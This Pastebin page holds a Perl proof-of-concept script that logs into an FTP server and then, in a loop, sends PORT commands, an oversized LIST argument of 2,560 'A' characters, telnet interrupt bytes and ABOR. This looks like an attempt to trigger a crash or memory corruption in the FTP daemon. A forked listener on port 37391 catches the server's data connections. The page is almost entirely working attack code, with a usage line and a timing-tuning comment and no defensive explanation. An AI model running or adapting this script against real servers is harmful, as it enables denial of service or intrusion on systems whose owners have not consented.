Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- use IO::Socket;
- $host = $ARGV[0];
- $username = $ARGV[1];
- $password = $ARGV[2];
- $locip = $ARGV[3];
- $locip =~ s/\./,/gi;
- if (($host eq "") or ($username eq "") or ($password eq "") or ($locip eq "")) {
- print "Usage: POC.pl <hostname> <username> <password> <localip>\n";
- exit;
- }
- if (fork()) {
- my $sock = IO::Socket::INET->new(PeerAddr => $ARGV[0],
- PeerPort => 21,
- Proto => 'tcp');
- while(<$sock>) {
- $p = $_;
- print $p;
- if ($p =~ /220\s/) {
- last;
- }
- }
- print $sock "USER $ARGV[1]\r\n";
- $p = <$sock>;
- print $p;
- print $sock "PASS $ARGV[2]\r\n";
- $p = <$sock>;
- print $p;
- for ($k=0;$k<100;$k++) {
- print $k."\n";
- print $sock "PORT $locip,146,15\r\n";
- $p = <$sock>;
- print $p;
- $a = "A" x 2560;
- print $sock "LIST $a\r\n";
- select(undef,undef,undef,k*0.001); # TWEAK THIS VALUE, USED A HOST TO VM CONNECTION WHEN TESTING
- send $sock, "!",MSG_OOB;
- print $sock "\377";
- print $sock "\364";
- print $sock "\377";
- print $sock "\362";
- print $sock "ABOR\r\n";
- $p = <$sock>;
- print $p;
- print $sock "PWD\r\n";
- $p = <$sock>;
- print $p;
- }
- } else {
- my $servsock = IO::Socket::INET->new(LocalAddr => "0.0.0.0", LocalPort => 37391, Proto => 'tcp', Listen => 1000);
- die "Could not create socket: $!\n" unless $servsock;
- while(my $new_sock = $servsock->accept()) {
- while(<$new_sock>) {
- print $_;
- }
- }
- }
Add Comment
Please, Sign In to add comment